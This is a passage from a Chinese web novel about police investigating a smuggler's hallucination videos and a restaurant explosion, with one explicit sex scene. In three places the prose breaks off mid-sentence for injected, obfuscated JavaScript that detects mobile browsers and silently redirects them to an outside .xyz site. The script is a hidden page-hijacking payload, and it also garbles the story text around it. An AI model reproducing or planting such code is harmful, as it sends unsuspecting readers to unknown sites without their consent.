很多视频开头都是孟飞在摆弄手机。他一边调整角度，一边自言自语。 他好像是在等待方雪现身，录下方雪鬼魂存在的证据。 设置好镜头，孟飞就会继续做其他事情，有时候是加班工作，有时候对着电脑上网课，有时候刷视频，有时候还会拿起另一部手机发信息和打电话…… 孟飞做着做着其他事情，有时候会突然定住，然后开始抽搐，好像中邪了一样。等他恢复“正常”，他的眼前似乎就出现了一个只有他可以看得到的人。 然后他就开始对着空气交谈互动，神态时而平静，时而愉悦，时而愤怒，时而怯懦。 “……我和你不一样，我选错了路，靠造假进了公司。老谢发现了我的把柄，我不能不听话……只能硬着头皮继续做。”孟飞一边哭，一边自己打自己的头。 “你让我自首？自首我就完了！我会丢掉饭碗，甚至丢掉性命！你知道背后那些人是什么样的人吗！”孟飞站起身来回走动，指手画脚地和空气说话。 “我也不想的……呜呜……我以为只是走私一点货物……我没想到他们会把拐卖的人塞上船。”孟飞跪在地上，不停地磕头，握拳捶地，眼泪沾湿了地毯。 “那个孩子叫我哥哥，求我放他出去……我不能。他们会杀了我，他们知道我老家在哪里……” “我不想杀你的，老谢逼我开车……而且是你先调查我们的！如果没有你多管闲事，那些事就不会发生！”孟飞对着空气，好像握住某个人的肩膀，用力地摇晃。 “他们都看不起我，他们逼我撒谎的！老谢逼我，你也逼我……你死了还缠着我……” 视频里面，孟飞有时候会靠近，查看屏幕，一脸疑惑，“为什么只能拍到我，你明明在我旁边……” 日期最新的视频是孟飞偷东西那天晚上录的。他直接对着镜头说话，听他说话的内容，他似乎是准备录一段视频，烧给死去的方雪。 “我以前猜过，你还藏了其他的账册，你那天就是出去拿账册的。不过我怕被老谢怪我办事不力，我就一直没说。 “前段时间，我知道了你接触过那两个同事的遗物。然后刚好，我调查的那个女刑警就是他们的女儿。我今天找到你藏起来的账册了。 “我知道你跟着我，是有心愿未了。寺庙的人说了，只要心愿了结，鬼魂就会自动升天。我明天就找时间，把我要说的话，你要的账册，还有我的病例都拿去你的坟前烧给你。 “我也不好过啊，我已经很惨了，求求你不要再逼我了。你拿到账册，看到我这么惨，就放过我吧……自首我是不能自首的，这个账册会暴露我，所以不能给警察。不过你放心，我会给你报仇的……” 孟飞好像想起了什么事，脸上挂上了得意的笑容，但是他没说怎么个报仇法，就停止了录像。 …… 结合几个视频的内容，大家都得出一个结论，孟飞因为长期的精神压力和突发车祸，出现了幻觉。 幻觉里面，方雪可能催促孟飞自首，勾起了孟飞的良知和愧疚。孟飞可能还爱着方雪，但是这份爱并不多，他爱的只是自己。 孟飞舍不得利益，更害怕被打击报复。他已经泥足深陷，无法自拔。他似乎正在进行什么计划，给方雪报仇，可惜他没有说清楚。 另外，视频里面可以看到，孟飞还有另一个手机，听他讲电话的内容，应该是沟通走私的事。这给警方提供了一些线索。 …… 了解完孟飞寄存物品的线索后，大家商量了一下，然后决定分头行事，节省一点时间。 乔良、陈丰带上账册和U盘去专案组办公室那边，汇报他们这边的发现，了解走私案的调查情况。 侯远山、孙泽林去调查维修厂那些人的下落。 程昭、周立言去调查孟飞最近的行程，尝试找出他在进行什么计划。 …… 程昭他们先去了医院，了解孟飞的病情。毕竟那一箱东西，他们也不知道孟飞有没有造假说谎。那本病例是最容易确认真伪的。 从医院那里，医生查看医疗记录，孟飞确实在半年前经历了一场小车祸，有轻微的脑震荡和软组织挫伤，伤得不算严重，在医院休息观察了三天，然后又正常上班了。 病房的护士对孟飞有点印象。 护士回忆说，孟飞在夜晚经常发噩梦，一晚可能会惊醒一两次，有时候还会说梦话。发现自己会说梦话之后，孟飞强烈要求出院或者换成单人病房。他和医院吵了一架，最后医院给他换了个单人房。 医生护士怀疑过他有心理方面的问题，建议了他去看看心理医生。孟飞非但不领情，反而破口大骂。后来医护人员也不敢再给他提建议了。 程昭和周立言找人查了A市公立医院的心理科，没有发现孟飞的就诊记录。 私人医院的记录要一个个去查，漫无目的太浪费时间精力，而且私人诊所未必会配合说出客户信息。 程昭和周立言找了比较有名的、离孟飞住处较近的几家私人心理诊所，费了不少功夫才得到明确的答复，孟飞没有在他们那里就诊。剩下的，他们也不想一个个去打听了，这样做不太现实。 郁闷之际，程昭想起视频里面，孟飞提起过寺庙。 程昭打电话给物证室的人，询问孟飞家里的物品里面，有没有什么和寺庙有关的东西。 物证室的人翻查了一下，回复程昭，“有的，有一个护身符，还有几个求财求平安的摆件，都是XX庙的。” 周立言看到程昭询问完，就开始查XX庙的位置，也回想起孟飞视频里面的片段，“你是觉得，孟飞可能没有去看心理医生，反而去寺庙求神拜佛？” “是啊，电视里面都说，心理治疗需要病人配合，说出内心的事……孟飞帮组织处理走私订单，知道组织贩卖人口到国外，自己还杀了人。这些事都是不能见光的，他未必够胆和心理医生说出这些事情。” 程昭查到了寺庙的位置，那个寺庙刚好在方雪所在的墓园附近。 “看，这个寺庙在墓园附近，说不定孟飞去祭拜方雪，然后就去庙里，把心里的问题悄悄和神佛说了……说不定还和庙里的人交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700291|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈过。” 周立言想了想，点了点头，“确定有这个可能，而且他还买了护身符和摆件，说不定还有求签解签……我们去那边看看。” 说走就走，两人驱车前往寺庙。途中，程昭还让物证室的人帮忙传几张护身符、摆件的照片过来，方便他们询问。 …… 寺庙离市区比较远，程昭他们来到的时候，人家都要准备关门了。 庙里的师傅本来想要谢客的，听完他们的请求，才通融让他们进来。 待客的师傅给他们带路，直接去拜访了庙里的住持。 住持知道了他们的来意，表示他们会全力配合，并叫来了庙里的所有师傅，让他们看看孟飞及其物品的照片，回忆有没有见过这个人。 经过一番询问，有两个师傅认出了孟飞，确定他曾经来过几次。 一个师傅：“那位客人似乎是去完墓园那边再过来的，一直心事重重……有一次，他求了护身符，求了签文。我记得那是一个下下签，他没有解签就走了。” 另一个师傅：“有一次，那位客人在许愿树下面站了很久，我问他是不是想要许愿……他说他一个故人有心愿未了，他总是梦见她，他想早日恢复平静。我便和他说，日有所思夜有所梦，故人的心愿可能也是客人的心愿，心愿完成或者就可以化解执念。然后他添完香油就离开了。” 虽然孟飞来过几次，但是他不太愿意和别人交流想法，所以师傅们也不怎么了解他。 没有太多发现，程昭他们谢过各位师傅，然后离开了寺庙。 …… 太阳已经下山了，但是程昭他们还是想去一趟墓园，确定一下孟飞是否有去祭拜方雪。毕竟这边离市区比较远，一来一回太麻烦了。 路边的灯已经亮了，两人开车去到墓园。 墓园依山而建，面积很大，门卫看过两人的证件，让他们开车进去。 可能为了节约成本，园区里面的灯很稀疏，一路上都是茂密的树木和嶙峋的山石，阴森森的，路上没有一个人。 程昭有点后悔了，早知道就找个白天再过来了…… 他们直接开车到了墓园的办公楼。值班的工作人员收到了门卫的通知，到了门外迎接他们。 听了程昭他们的描述，工作人员也想起了那个来过几次的客人，“对的对的，那个人这几个月来过几次，我也记得他……” 工作人员带他们去了办公室，把孟飞的访问记录找了出来。然后又根据记录时间，找出了孟飞来访的监控录像，“我们只有这个月的记录，之前的已经被覆盖掉了。” 孟飞每次来都是去祭拜方雪，没有和其他人交谈过，所以拿到录像和访问记录，程昭他们就告辞离开了。 上车的时候，刚好一阵冷风吹过，惊起了树丛的飞鸟。 “啊！”程昭吓了一跳，忍不住躲进周立言的怀里。 “不用怕，只是几只鸟。”周立言拍拍她的背，以示安抚。 程昭有点不好意思，挠了挠头，“自己吓自己……我们快走吧。” 周立言也不想久留，两人开车离开了墓园。 93. 孟飞的行踪 车子离开了墓园，程昭感觉周围的空气都变暖了很多。现在明明是夏天了，那边却那么冷，天黑得这么快，太诡异了。 “……终于感觉正常的气温了，刚刚真的好吓人啊。”她甚至不敢说任何和“鬼”相关的词。 周立言轻笑：“墓园依山而建嘛。太阳下山之后，当然会凉爽一点。” “道理我都懂，但是真的没办法不往那个方向去想……”程昭坐在副驾驶座，拍拍胸口压压惊。然后开始找点事情做，转移注意力。 她拿出刚刚拿到的访问记录，翻了几页，发现孟飞大多数来访的时间都是下午快傍晚的时候。 程昭的印象中，一般人来墓园，都会在早上或者中午，尽量选太阳比较充足的时候。一方面是避忌，另一方面是时间晚了在山里行走不方便。 孟飞这样做有点奇怪，不过他的精神状态有点问题，他做什么都有可能的。傍晚是逢魔时刻……难道他想故意引“方雪”现身？ 缺少线索，程昭拿着系统也不能检测出什么。孟飞有点精神问题，行为逻辑异于常人，程昭也不能靠推测大法来找破案方向。 这些想不明白的问题，程昭只能先记一下笔记，然后置于脑后。 天黑还是不想这些渗人的事了，让大脑休息休息吧。 …… 回到市区，周立言很自然地把程昭带回家里，现在他们已经是半同居状态了。程昭在周五至周日才回去家里，陪一下周末才能回家的程露。 程昭当然也不想自己回家里。看完孟飞诡异的视频，又夜晚去了趟墓园，她自己一个人肯定会忍不住胡思乱想。 她还不如去男朋友家里留宿，夜晚缠着周警官，吸一点阳气。 女朋友突然变得这么粘人，周立言当然乐在其中。 不过他也有点感到心疼，程警官平时太能干了，以至于他也经常忘记，她不过是一个新入行几个月的刑警。早知道就改天再过去墓园了。 为了安抚她的情绪，他浑身解数，把她的注意力牢牢吸引在他身上，不让她有余力胡思乱想。 细碎的吻，好像雨点一般落下，带来无尽的痒和热。一开始是额头、眉眼、耳朵、嘴唇，然后一直亲到脖子以下的地方……然后再往下，再往下…… 程昭确实没有余力胡思乱想了，她现在眼里心里都是，这个在她身上胡作非为、四处点火的男人。 她忍不住把手指插进他的头发里，抱住他的头，想要制止他亲那个地方，但是她已经被他点燃了，脑海里面点燃了绚烂的烟花。情动之下，反而抱着他的头，让他更贴近那个地方…… 周立言轻笑一声，也太不经逗了……此时此刻，他已经完全不记得自己有什么洁癖。一心只想着，让彼此感受彼此。 他把她抱了起来，扶着她的腰，面对面地慢慢坐下。 她双手搭着他的肩膀，任由他扶着行动。只是这个动作对于她来说，有点太超过了。 一开始有点太撑了，甚至有点寸步难行。但是因为之前有足够的前奏，慢慢的，一切变得顺畅起来。两人都感觉到，他们去到了之前都没有去过的地方。 浪潮汹涌，她有点体力不支，只能把一切主导权都交给他。 他也确实是一个很好的舵手，游刃有余地把握着节奏…… 这个动作让两人都轻易看清彼此的表情，看清了彼此眼中的沉沦和爱意。 她情不自禁地揽住他的脖子，主动献上深深一吻。 夜还很长，她有足够的时间，吸取足够的阳气…… …… 胡闹了一夜，第二天起床，程昭居然觉得自己感觉挺好的，没有以前的腰酸背痛。不知道是她适应了他，还是最近的体能训练起了作用。 吃早餐的时候，程昭又忍不住思考案件。 她翻了一下墓园提供的孟飞来访记录。 在半年之前的时间里，孟飞只在方雪下葬的时候来过一次，然后一直没有再去过墓园。 在过去半年的时间段里面，孟飞车祸之后第三周，他去了一次墓园，然后后面的两个星期之内去了三次，之后差不多平均两个星期去一次。 ……孟飞去墓园那边，未免太频繁了。 他们之前分析过，大家都认为孟飞并没有深爱着方雪。 方雪周年忌日的时候，孟飞也没有去过方雪的墓前祭拜。 他精神出现问题之后，频繁前往墓园，真的只是为了方雪吗？ 以孟飞无利不起早的个性，要他山长水远地，频繁地从市区去墓园，单凭他对方雪那一点点悔恨，好像有点不太可能。 带着疑问，程昭和周立言继续追查孟飞的最近的行踪。 …… 程昭和周立言拿到了孟飞车子的行车记录仪和导航记录。 孟飞有定期删除记录的习惯，不过程昭他们有技术部的人帮忙，恢复了被删除的记录。 经过一番梳理，程昭他们大概确定了孟飞最近的行踪。 除了日常上班下班，还有工作所需的外勤，孟飞去过了几个不常去的地方：A市电脑城、一个比较远的快递驿站、墓园、寺庙、郊外的农家乐饭店…… …… 之前，技术部的人在程昭家里，拿到了孟飞放置的窃听器和针孔摄像头。本来他们想通过追查设备购买渠道，来确定购买人身份，从而锁定小偷身份。 不过当时，程昭他们通过监控，很快就确认了嫌疑人身份，所以他们就没多此一举地查设备购买渠道。 但是现在，随着一步步追查，孟飞死亡案和走私案牵连在一起，任何的线索可能都很有用处。 技术部便翻出了设备，继续调查购买渠道。 经过几番波折，技术部确定了孟飞通过假身份，上网购买了窃听器等设备。 根据商家记录，孟飞的假ID曾多次下单，前前后后一共买了差不多十套窃听器和针孔摄像头。 孟飞曾经去过一个比较远的快递驿站，就是为了去取网购的东西。 另外，孟飞去电脑城的原因，也被查到了。孟飞找到门路，在电脑城买到了开锁的□□，还有买到了三个可联网可录音的针孔摄像头。 …… 之前程昭他们去过孟飞家里，孟飞的家被盗了，东西被翻得乱七八糟。 在孟飞的家里，他们没有找到多余的窃听器和摄像头，估计不是被人偷走了，就是已经被孟飞拿出去安装使用了。 【程昭看了系统，系统显示两种情况都有存在，而且被标记了关联。】 从孟飞录的视频来看，他的家里应该有一台笔记本电脑，但是现在已经不见了。程昭推测笔记本电脑是被入室的人偷走了。 【系统标记了“笔记本电脑被人偷走”为关联】。 孟飞在视频里面提及过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14727231|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “报仇”。 已经被使用的窃听监视设备。 被人偷走的设备和电脑。 结合这些线索，程昭推测，孟飞可能是看到了什么秘密，想要借那个秘密做什么不利于KL组织的事，后来被人发现了，于是引来了杀身之祸。 【系统确定了程昭的推测，记录了她的猜想】。 …… 侯远山、孙泽林去追查维修厂的事，把那边查到的东西拿了回来。 鉴证科的人调查维修厂，收集到了一些指纹和毛发，提取到了DNA，然后录入了系统。 上传结果之后，警方发现，维修厂提取到的指纹和DNA，和孟飞家里提取到的两组指纹和DNA，匹配上了。 他们翻看了孟飞住所附近的监控，最后确定了嫌疑人。 这两组指纹和DNA的主人分别是张茂和陈山，这两人都是那家维修厂的老板。 他们都是F市人，合伙在A市做生意。两人名下都有几套房产和商铺。 另外，警方还查到，这两个人和之前KL组织的案件有点关系：张茂是F市地下赌场案里面，金堂饭店经理李怀的表亲；陈山是拐卖案里面的主谋张顺、张军的亲戚。 维修厂明面上是修理货车、货船，实际上是几个犯罪网络的联络点。 拐卖的人口，还有组织走私的物品，通过维修厂转移到船上，然后偷偷运出去。同样的，从国外走私回来的货物，会从货船转移到维修厂，然后再通过货车转移。 …… 从种种迹象来看，这个维修厂的老板在组织的地位应该不会太低，而且他们也有自己的手下。 但是他们居然自己亲自去处理孟飞？在孟飞死了之后，还亲自去他家里偷东西。 由此可见，孟飞招惹出来的事情应该不小，所以张茂等人不敢把处理孟飞的事，交给小弟去做。 这个发现让程昭等人十分重视。大家隐隐感觉到，这个可能是一个很重要的线索。 …… 程昭和周立言打算继续查孟飞的行踪，准备离开警局，出去取车。 周立言的手机忽然响了，周立言的妹妹周思雨打来的电话。 周立言示意程昭等他一下，然后点了接听。 周思雨待周立言接听了电话，便急急忙忙地说出了来意：专案组调查走私案，查孟飞经手的业务，查出了一批有问题的订单。这些订单，大部分都是周家老三周立德审批的，警察上门要求他配合调查。周立德被警察带走后，周母怒气冲冲地出门了。 “……母亲大概率会过来找你麻烦，你小心一点，别被她缠住。” 周思雨的话音刚落，警局大门那边就传来了一阵吵闹声。 “……你们干嘛拦我！我是纳税人，我有权来警局找人！”一道尖锐的女声隐隐传来。 “不是，女士，你不能随便擅自闯入啊！你有什么事，先在接待处登记，不能直接去办公区……”门卫好言相劝，可惜对面的人毫不领情，开始横冲直撞，甚至动手动脚。 “你们再碰我，我就告你们！让我进去，我要见周立言！”女人的声音更近了，语气也变得更暴躁了。 周立言和程昭见势不对，连忙到那边查看情况。 周思雨还在电话那边叫周立言小心，周立言无奈地回复：“晚了，她已经在门口了，我先去处理，挂了。”然后挂断了电话 94. 劝退 程昭和周立言来到警局的接待前厅，看到两个门卫正在劝阻一个贵妇打扮的女士。 贵妇怒气冲冲，想伸手推攘门卫。不过她的保镖巧妙地斜插进人群中，把贵妇和两名门卫隔开了。贵妇打出的巴掌，大多数落在了保镖的肩膀和胳膊上。 远远看去，这位女士一身合身的小香风套装裙，头发梳得整整齐齐，优雅地在脑后挽起了一个发髻。她的耳朵和脖子上戴着成套的珍珠首饰，胸前别着一个精致的胸针，手上戴着成色很好的玉镯，手指上还带着闪闪发光的戒指，距离十几米都能看到。全身上下无不精致，一眼望去，珠光宝气，富贵逼人。 走近之后仔细观察，这位女士的五官十分美艳大气，化着精致的妆容。她的身材也很苗条，个子差不多一米七，纤腰长腿，整体气质有点像港风女明星。只是她的脾气看起来不太好，破坏了整体的美感。 她保养得很好，看起来好像只有三十多岁，只是脖子上的颈纹稍微暴露了她的真实的年龄。如果不是提前知道了她的身份，程昭绝对不会猜到她是周立言的母亲。 周母看到从里面出来的周立言，冷笑一声，“终于肯出来了？不是准备做缩头乌龟吗？” 周立言板着脸，抿着嘴，“这里是警局，不是你家里，请自重。”说完，也不管沉着脸的周母，径直走向门卫，郑重地道歉。 两位门卫摇摇头，表示没关系。其实刚刚的吵架，雷声大雨点小。虽然那名女士想动手推人，但是她的保镖及时把他们隔开了，那名女士大部分的巴掌都落在了保镖身上……估计那名保镖也是熟知他的雇主脾气，被叮嘱过不要让她得罪人。 门卫见当事人出来解决问题，乐得抛出这块烫手山芋。 待门卫离开，周立言转头看向程昭，不好意思地说：“我要先处理完这边的事，你来一起听？刚好可以帮忙当个见证。” 程昭刚刚隐隐约约听到周思雨的电话，大概猜到怎么回事。周立言的处境确实是比较尴尬，既然他不介意她旁观，她也想去看看……闹事的人毕竟是他的家人，有其他人在，周母或许会收敛一点。她在旁边，或许还可以帮上忙。 程昭点了点头。 周立言看向周母，暗暗叹了一口气，然后面无表情地说：“你想去调解室，还是出去，找个可以坐下来谈话的地方？” 经过周立言一系列的打岔，周母已经没有一开始那么激动了。 她之前怒火攻心，没有想太多就跑上门来闹事，没有想过他们要讨论的内容，适不适宜在公众场合讨论。调解室在警局，算是周立言的地盘。三儿子被专案组捉了…… 周母快速思考了一圈，最终决定在附近找个人少的咖啡厅。 周立言点点头，“那您带路吧，我们长话短说，快点达成一致。” …… 市局在市中心，附近的咖啡店还是很多的，周母很快找到了一家，一行人到了店里。 可能因为是工作日，店里的人不多。 周母想要找店长包场，周立言直接拒绝了，“我们不会谈太久，在户外找个座位就可以了。” 不待周母反驳，周立言拉着程昭直接选了个座位，然后打开了执法记录仪，别在了胸前。 周母很生气，指着周立言的记录仪，想要他关掉。 周立言拒绝了，“因为你和我要谈的事情涉及公务，我没要求你在警局谈，已经是让步了。我们的谈话需要全程用记录仪录像，并且由我的同事作为见证。免得以后有说不清的地方。” 周母被周立言多次的打断，冲动已经散了不少，理智逐渐回笼。但是她不是一个乐意接受拒绝的人，频频被拒，心里窝着火。只是在大庭广众，眼前还有一个记录仪和女警，她只能克制自己的怒火。 周母选了一个在他们对面的位置，示意保镖帮她擦一擦椅子。 保镖从善如流，拉出椅子，仔细地用手帕纸擦干净椅子，然后请周母坐下。 周母摆足架子，缓缓坐下，然后冷冷看着周立言，开始质问，“造假订单的人明明是孟飞！你们凭什么捉走阿德！是不是你利用职权，打击报复自家兄弟！” 周立言：“苏明珠女士，我需要和你澄清几点事实。首先，捉拿周立德的决定，我不知情。关于他的调查，我全程没有参与过。 “其次，走私案核查订单的事，周氏公司相关部分我完全没有插手。就连查孟飞死亡一事，在周氏公司范围内的审讯、取证等环节，我也只是旁观。 “周立德被抓捕，是专案组作出的决定，不是一两个人干预能够导致的结果。” 苏明珠（周母）不依不饶：“但是你也在这个专案组里面！我都打听到了，你别想骗我！” 周立言：“那是因为我们查案表现出色，才半路被邀请进组的。” 苏明珠：“哈，随你怎么说，你也是周家的干系人，你姓周，而且有周氏的股份，你在专案组就是不公平不公正！” 程昭看不下去，无论周立言说什么，苏女士都在找他的茬，这样根本没办法沟通。 程昭干脆把苏女士的注意力，引过来自己这边，“照你这么说，那也是对你们周氏有好处啊，你为什么觉得不好？” 苏明珠：“他天生克六亲！尤其克父母、兄弟姐妹！他在专案组，专案组就捉了他三弟，迟些是不是就要把他其他兄弟姐妹、父母都捉了？然后他就可以得到整个公司了！” 又是这一套，程昭有点无语。 不过她知道，一时半会，三言两语，很难改变苏明珠根深蒂固的想法。现在和她吵架并没有什么好处，还是尽快安抚住她比较好。 程昭想了想，笑着说：“我们要相信科学，封建迷信都是没有依据的……就像苏女士，你长得这么好看，保养得这么好，看起来最多三十岁！这些都是靠基因遗传、科学护肤，不是靠求神拜佛得来的吧。” 莫名其妙地被夸了一下，而且夸她的人是一个年轻貌美的同性，夸奖的态度看起来也十分真诚……伸手不打笑脸人，苏明珠的怒气情不自禁地又减少了一点。 苏明珠哼了一声，“那是另一回事，怎么可以混为一谈？” 程昭摆摆手，继续笑着说：“那我们就先不讨论玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765650|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学那一套，我们讨论一下眼前的案件……你看，孟飞入职你们公司已经快两年了，问题订单也是长期存在的，只是现在被警方查出来了。走私的事已经是板上钉钉了，周氏已经牵涉其中，现在警方是在找孟飞的同伙。 “调查周氏的人不是我们这一组的，所以你来找我们没有用。我们甚至不知道有哪些订单有问题，连三公子被捉也是刚刚才听说的。周队说的不是假话，你不信的话，可以去找专案组。” 苏明珠之前确实不知道，周立言有没有参与调查周氏和捉拿周立德。她一听到三儿子被捉，就急匆匆地过来指责周立言。 周立言和女警的话，也让苏明珠反应过来了。 周立言在专案组，客观来说，对周氏利大于弊。周立言的同事即使不给周氏面子，也要顾及同事的想法。 周立言也不敢直接插手周氏的调查……如果他插手了，那就相当于授人以柄，污染证据，这样头疼的反而是警方。 苏明珠不禁有点后悔来这一趟了，“我也不知道你们怎么调查，我只知道阿德不可能做这些事，你们捉了他，不就是冤枉好人吗！” 程昭：“你放心，办案都是讲究证据的，如果那些事真的和他没关系，他很快就可以回家了。你们现在应该去找相关的证据，查清楚孟飞做了什么事，谁才是他的同党……” 孟飞帮组织走私，单凭他一个人，是不可能完成的。他肯定还有其他同伙，甚至海关也有他们的人，这样才可以瞒天过海，长期维持他们走私偷渡的生意。 经过程昭一番劝说，苏明珠也觉得她应该回去敦促公司的人，尽快去查孟飞的事。既然周立言这边不敢插手周氏的调查，那她也不用过于担心周立言会影响三儿的运势，相反，如果周立言插手了，她们家的律师就可以质疑专案组的证据了…… 苏明珠整理清楚思路，也打算回去了。临走前还警告了周立言一番，让他不要滥用职权，诬陷他的兄弟。 周立言懒得和她争论，等她走了，再把执法记录仪关掉。 …… “让你看笑话了。”周立言揉了揉额角，这次劝退行动，比他想象的要顺利。幸好有程昭在，不然他说什么，他母亲都会觉得他另有企图。 “没什么，我只是把她当做一个难缠的客户……倒是你，你没事吧？”被亲生母亲找到工作单位闹事，明明什么都没有做，却被各种怀疑…… 周立言耸耸肩，“没事，她就是这样的。我已经习惯了。” 周立言想了想刚刚她们的对话，忍不住笑了，“你怎么想得出来，夸她好看，保养得好的？” 程昭挠了挠头，笑着说：“以前学的一点销售技巧……千穿万穿马屁不穿。说点讨喜的话，也不用花什么钱。而且苏女士的确长得很好看，看起来很年轻。她匆匆出门，但是一身装扮依然如此讲究，说明她很在意自己的外貌，夸她好看总是没有错的。” 周立言：“她确实很在意自己的外表，她以前当过一段时间演员……” 两人一边闲聊，一边去店里买咖啡带回警局，准备继续查孟飞的案件。 95. 农家乐 程昭和周立言继续查孟飞的案子。 孟飞通过窃听器、针孔摄像头，窥探了组织的机密，惹来杀身之祸。 负责处理孟飞的人是张茂、陈山，他们在组织里面地位不低，是走私网络里面的重要枢纽。 孟飞掌握的秘密可能很重要，以至于，张茂、陈山不敢把处理孟飞的任务丢给手下。 在孟飞已恢复的部分导航历史里面，可以查到他曾经去过几个不常去的地方。 电脑城、快递驿站、墓园、寺庙等地方，程昭他们都找到了孟飞前往的理由。 唯独那个郊外的农家乐饭店，暂时还不知道，他为什么要去那么远的地方。 程昭的关注点落在了这个农家乐上面。 【“孟飞多次前往农家乐”被系统标记了关联，关联程度还不低。】 她上网查了一下这个农家乐，发现它在A市还挺有名，很多人都去过那边打卡。 这个店刚好在墓园寺庙回市区的路上，在一个温泉度假区附近。店里还有特色民宿，果林，菜园，鱼塘，看起来规模不小。 不过，更引人注意的是，这个农家乐在三天前发生了一场燃气爆炸事件，爆发了火灾。不少人受了伤，甚至还死了几个人。 程昭连忙和周立言说了这个发现。周立言立刻联络处理这宗事故的人，了解情况。 处理这宗燃气爆炸事件的是那个片区的消防队和警队。 那场火烧了很久，火势很大。 那个农家乐的建筑材料，大部分都是易燃物。房子不高，楼房之间有连廊相连，导致火势漫延，很多地方都烧没了。 幸好建筑不高，很多人都逃了出来。 消防员和警员调查起火的原因。大概确定为，厨房煲粥的时候，粥溢出来，熄灭了炉火，导致燃气泄漏，后来有人吸着烟走进厨房，点燃了空气里的天然气，造成爆炸，最后演变成大面积的火灾。 这场火灾一共死了6个人，包括店长在内的3名店员，和3名客人。这几个人都是刚好在厨房附近，直接受到爆炸的伤害，来不及逃离，然后就被烧死了。 火灾的案件还在侦查中，暂时还没有发现有什么不对劲的地方，初步判断为意外。 电视新闻也有报道过这个案件，不过程昭他们都忙于查案，漏看了新闻。而且孟飞的导航记录是这两天陆续恢复出来的，那边的火灾在前一天就已经发生了，他们早已错过了时机。 不过程昭他们没有就此放弃。他们和其他队友说了这边的发现，然后还说了两人准备去现场一趟。他们现在几个人分头行事，及时同步信息很重要。 …… 程昭、周立言先去了负责爆炸案的警局。 这个案件的负责人朱小莹，很热情地接待了他们。之前她在电话里听说了，这个案件可能和一系列重大案件有关，她对他们的来访十分重视。 朱警官把她们收集到的信息，都给程昭、周立言一一展示。 事件发生在三天前的夜晚22点左右，当时不是饭点，农家乐的夜宵比较普通，客人很少会在夜晚点餐。灶台上那一锅导致炉火熄灭的砂锅粥，暂时还没有找到对应的订单，不排除是厨师或者店长自己的夜宵。 案件里面死了6个人。 厨师的尸体是在厨房门口发现的，他的身边有一些香烟的残骸。他的朋友和工友都说，他的烟瘾很大，去厨房工作的时候也经常吸烟。警方和消防推测，是厨师的香烟，点燃了空气里的天然气。 店长和两个客人的尸体，是在厨房隔壁发现的。这个房间和厨房相通。这几个人似乎没有任何挣扎逃生的迹象，警方怀疑他们在爆炸之前就已经天然气中毒，昏迷不醒。 服务员和一个客人的尸体，是在厨房不远的地方发现的。他们都被连廊的横梁柱子压住了，无法逃生，然后火势太大，被活活烧死。 这六个人里面，只有和店长一起的两个人，暂时还没有确定身份。他们身上都没有携带可以证明身份的证件，手机等设备都烧坏了，无法恢复里面的数据。 “……我们本来想查农家乐的监控，但是这家店的几个监控摄像头，居然都是假的……因为不确定那两个人是什么时候来的，也不确定他们的样貌，我们调附近马路的监控，也不知道目标是谁。”朱警官无奈地叹了一口气。 程昭一边查看爆炸案的资料，一边留意系统的提示。 【系统新增了新事件“农家乐爆炸”，也被归纳到“KL组织”事件集里面。案件的主谋，是程昭之前见过的红狐、韩高煊。】 【店长和那两个客人，都是孟飞死亡案、走私案的相关人物。】 程昭暗暗心惊，这场爆炸不是什么意外，纯粹就是，组织的人在杀人灭口！ 厨师、服务员和另一个客人，和组织的其他案件都没有什么关系，很可能只是普通人。 红狐和韩高煊为了杀人，制造爆炸火灾，也太狠毒了。 …… 程昭提出，想要看看那几具尸体。 朱小莹警官微微皱眉，她想起在火灾现场看到的几具尸体。她是多年的警察，也见过不少死人，但是她那天差点就忍不住要吐了。眼前这两位……虽然他们都是刑警，但是看起来很年轻，特别是这个女警，看起来不像是胆子大的。 “你们确定要看吗？烧得挺严重的，几乎不似人形了，你们靠肉眼观察，应该也看不出什么东西了。” 周立言是无所谓的，他去过很多犯罪现场，看过很多可怖的尸体……他大概可以猜到，那几具经历了爆炸燃烧的尸体会是什么样子。不过程昭的胆子确实没有很大……他有点担忧地看了一眼程昭。 程昭其实是有点害怕的，但是她想看看系统能不能识别死者的身份。 程昭看着朱警官和周立言，硬着头皮，用力地点了点头，“看看吧。” 既然他们确定想看，朱小莹当然不会拒绝。她示意两人跟上，然后带着他们去法医那边。 很快，一行人到了法医的实验室，近距离看到了那6具尸体。 那些尸体几乎只剩下了骨架子，他们身上的脂肪都烤干了，黑黑红红的皮肉筋腱已经半炭化，死死地扒在骨头上。空洞洞的眼眶，干裂的血肉，裸露的牙齿和骨头…… 程昭硬着头皮看了几分钟，一股浊气涌上胸口，她忍不住想要干呕。 